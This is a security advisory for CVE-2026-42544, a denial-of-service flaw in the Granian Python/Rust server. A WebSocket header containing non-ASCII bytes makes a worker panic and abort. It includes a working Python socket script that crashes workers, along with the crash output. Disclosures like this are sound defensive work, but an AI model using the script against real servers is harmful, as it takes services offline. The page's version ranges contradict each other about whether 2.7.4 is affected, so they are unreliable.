CVE-2026-42544: Granian: Unauthenticated DoS via WebSocket subprotocol header panic
Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125
HeaderValue::tostr() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.
PoC
Step 1. starts a Granian ASGI server
python app.py async def app(scope, receive, send): if scope["type"] == "websocket": await receive() await send({"type": "websocket.accept"}) return
await send({"type": "http.response.start", "status": 200, "headers": []}) await send({"type": "http.response.body", "body": b"ok"})
bash granian --interface asgi app:app --host 127.0.0.1 --port 8000
Step 2. sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.
python ws-subproto-crash.py import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3] key = base64.b64encode(os.urandom(16)).decode()
req = ( f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n" "Upgrade: websocket\r\nConnection: Upgrade\r\n" f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n" ).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.createconnection((host, port), timeout=5) as s: s.sendall(req) print(s.recv(4096)) bash python ws-subproto-crash.py 127.0.0.1 8000 /
Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44: called Result::unwrap() on an Err value: ToStrError { priv: () } [ERROR] Unexpected exit from worker-1 [INFO] Shutting down granian
Impact
- Unauthenticated remote denial of service - One crafted request kills one worker - The application is never reached, so application-level authentication or routing does not mitigate the issue
Other sources
Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/granianto a version that resolves this vulnerability.Fixed in 2.7.4 - Upgrade
Upgrade
Granianto a version that resolves this vulnerability.Fixed in 2.7.4
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42544?
CVE-2026-42544 is classified as a high severity vulnerability due to its potential to crash the Granian service.
How do I fix CVE-2026-42544?
To fix CVE-2026-42544, upgrade Granian to version 2.7.4 or later.
What causes the CVE-2026-42544 vulnerability?
CVE-2026-42544 is caused by Granian aborting a worker process due to non-ASCII bytes in the Sec-WebSocket-Protocol header from an unauthenticated client.
Which versions of Granian are affected by CVE-2026-42544?
CVE-2026-42544 affects Granian versions from 1.2.0 up to and including 2.7.4.
Is authentication required to exploit CVE-2026-42544?
No, CVE-2026-42544 can be exploited by unauthenticated clients who send a malicious WebSocket upgrade request.